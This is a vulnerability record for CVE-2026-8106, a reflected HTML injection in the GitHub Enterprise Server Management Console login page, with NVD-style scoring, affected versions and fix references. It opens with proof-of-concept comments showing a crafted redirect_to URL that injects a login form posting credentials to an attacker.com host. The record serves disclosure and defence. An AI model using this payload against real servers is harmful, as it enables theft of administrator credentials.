CVE-2026-8106

<!-- Proof of Concept for CVE-2026-8106 --> <!-- Target Endpoint: /setup/unlock --> <!-- Vulnerable Parameter: redirect_to --> <!-- Attack Scenario: Injecting a form to steal credentials --> <!-- The payload breaks out of the HTML attribute and injects a new form --> <!-- Example URL --> <!-- https://[TARGET-IP]/setup/unlock?redirect_to="><form action=http://attacker.com/steal method=POST><input name=user><input name=pass><input type=submit></form> --> <!-- HTML Injection Payload Explanation --> <!-- 1. "> closes the existing attribute and the HTML tag --> <!-- 2. <form...> injects a malicious form that sends data to an external server --> <!-- 3. When the victim types their credentials, they are sent to the attacker -->

{"cve": {"id": "CVE-2026-8106", "sourceIdentifier": "[email protected]", "published": "2026-05-07T22:16:37.377", "lastModified": "2026-05-11T17:12:47.430", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A reflected HTML injection vulnerability was identified in the GitHub Enterprise Server Management Console login page that could allow credential theft. The redirect_to query parameter on the /setup/unlock endpoint was reflected into an HTML attribute without proper sanitization, enabling an attacker to inject a form element that could capture administrator credentials. Exploitation required an administrator to click a crafted link and enter their credentials. This vulnerability affected GitHub Enterprise Server versions 3.19.1 through 3.19.5 and 3.20.0 through 3.20.1, and was fixed in versions 3.19.6 and 3.20.2. This vulnerability was reported via the GitHub Bug Bounty program."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:github:enterprise_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.19.1", "versionEndExcluding": "3.19.6", "matchCriteriaId": "F71305E0-C008-45FF-8EDC-46D14F07DD51"}, {"vulnerable": true, "criteria": "cpe:2.3:a:github:enterprise_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.20.0", "versionEndExcluding": "3.20.2", "matchCriteriaId": "FC8A09E8-5FFE-43F1-BC1A-14A298264D80"}]}]}], "references": [{"url": "https://docs.github.com/en/[email protected]/admin/release-notes#3.19.6", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://docs.github.com/en/[email protected]/admin/release-notes#3.20.2", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}]}}